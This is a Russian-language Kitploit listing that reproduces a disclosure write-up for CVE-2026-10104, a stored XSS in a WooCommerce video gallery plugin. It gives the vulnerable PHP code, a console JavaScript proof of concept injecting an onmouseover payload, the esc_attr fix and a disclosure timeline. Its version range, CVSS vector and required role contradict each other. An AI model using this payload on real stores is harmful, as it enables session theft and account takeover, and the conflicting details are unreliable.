Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-10104-POC — Product Video Gallery для Woocommerce <= 1.5.1.8 — Аутентифицированная хранимая межсайтовая сценарная уязвимость (Proof of Concept) | Kitploit
Инструменты/GitHubGitHub/ravi-lk/cve-2026-10104-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery для Woocommerce <= 1.5.1.8 — Аутентифицированная хранимая межсайтовая сценарная уязвимость (Proof of Concept)

Репозиторий
2432 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-10104: Хранимая межсайтовая скриптовая уязвимость (XSS) в Product Video Gallery for WooCommerce

Сводка

ДетальЗначение
Идентификатор CVECVE-2026-10104
ПлагинProduct Video Gallery for WooCommerce
ВендорTechnoSoft Webs (NikHiL Gadhiya)
ТипХранимая межсайтовая скриптовая уязвимость (XSS)
CWECWE-79 — Неправильная нейтрализация ввода при генерации веб-страницы
CVSS 3.14.4 (Средний)
Затронутые версии≤ 1.5.1.6
Исправленная версия1.5.1.9
Требует аутентификацииДа — Contributor+ (любая роль, которая может редактировать товары)
ОбнаруженоRavindu Lakmina Munaweera

Описание

Плагин Product Video Gallery for WooCommerce для WordPress (версии до и включая 1.5.1.6) уязвим к хранимой межсайтовой скриптовой уязвимости (XSS) через параметр мета-поля товара custom_thumbnail.

Метод save_wc_video_url_field() плагина очищает параметр POST custom_thumbnail[] с помощью sanitize_text_field(), который удаляет HTML-теги, но не удаляет символы двойных кавычек ("). На фронтенде сохраненное значение вставляется непосредственно в атрибуты тега `` в nickx_get_video_thumbanil_html() без экранирования esc_attr(). Это позволяет аутентифицированному злоумышленнику внедрять произвольные атрибуты обработчиков событий HTML (например, onmouseover, onerror), которые выполняют JavaScript в браузере любого посетителя — включая неаутентифицированных — просматривающего страницу затронутого товара.


Вектор CVSS 3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
МетрикаЗначение
Вектор атакиСетевой
Сложность атакиНизкая
Требуемые привилегииНизкие
Взаимодействие пользователяОтсутствует
Область действияИзменена
Влияние на конфиденциальностьНизкое
Влияние на целостностьНизкое
Влияние на доступностьОтсутствует

Уязвимый код

Приемник (Вывод — без экранирования)

Файл: public/class-rendering.php
Метод: nickx_get_video_thumbanil_html()

root@kitploit:~
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Line 379 — rendered inside  tag on the public frontend
echo '';

Источник (Сохранение — недостаточная очистка)

Файл: admin/class-video-field.php
Метод: save_wc_video_url_field()

root@kitploit:~
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Доказательство концепции

Предварительные требования

  • WordPress с установленным WooCommerce
  • Плагин: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • Товар WooCommerce с настроенным URL видео на YouTube
  • Учетная запись с правами на редактирование товаров (Shop Manager, Author и т.д.)

Шаги для воспроизведения

  1. Войдите как Shop Manager (злоумышленник).

  2. Перейдите в Products → Edit для любого товара, у которого установлен URL видео в поле "Product Video Url".

  3. Откройте Инструменты разработчика браузера (F12) → вкладка Console.

  4. Вставьте и выполните следующий JavaScript:

root@kitploit:~
const form = document.getElementById('post');

// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Нажмите "Update" для сохранения товара.

  2. Откройте страницу товара на фронтенде в окне инкогнито/приватном окне (неаутентифицированный).

  3. Наведите курсор на миниатюру видео в галерее товара.

  4. ✅ Выполняется JavaScript-alert, что подтверждает хранимую XSS.

изображение
изображение

Выводимый результат

root@kitploit:~

Внедренная " закрывает атрибут custom_thumbnail, а onmouseover становится новым исполняемым атрибутом элемента ``.


Воздействие

  • Хранимая XSS выполняется на публичном фронтенде для всех посетителей, включая неаутентифицированных пользователей
  • Злоумышленники могут украсть сессионные cookie и захватить учетные записи администраторов
  • Злоумышленники могут перенаправить покупателей на фишинговые сайты или сайты с вредоносным ПО
  • Злоумышленники могут изменить внешний вид страниц товаров или внедрить криптомайнеры
  • Для эксплуатации требуется только доступ уровня Contributor

Исправление

Примените esc_attr() к значению пользовательской миниатюры перед вставкой его в атрибут HTML:

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

Это же исправление должно быть применено ко всем экземплярам в nickx_get_video_thumbanil_html(), где конструируется $custom_thumbnail (оба пути кода: для массива и не-массива).


График раскрытия

ДатаСобытие
2026-03-20Уязвимость обнаружена
2026-03-20Сообщено в Wordfence (CNA)
2026-05-29Назначен идентификатор CVE: CVE-2026-10104
2026-07-01Публичное раскрытие

Авторство

  • Обнаружено: Ravindu Lakmina Munaweera
  • CVE назначен: Wordfence (CNA)
  • CVE ORG

Ссылки

  • CVE-2026-10104
  • Страница плагина WordPress
  • Запись в базе уязвимостей Wordfence
  • CWE-79: Межсайтовый скриптинг
  • Памятка по предотвращению XSS от OWASP

Лицензия

Данное уведомление выпущено под лицензией CC BY 4.0.

Скачать инструмент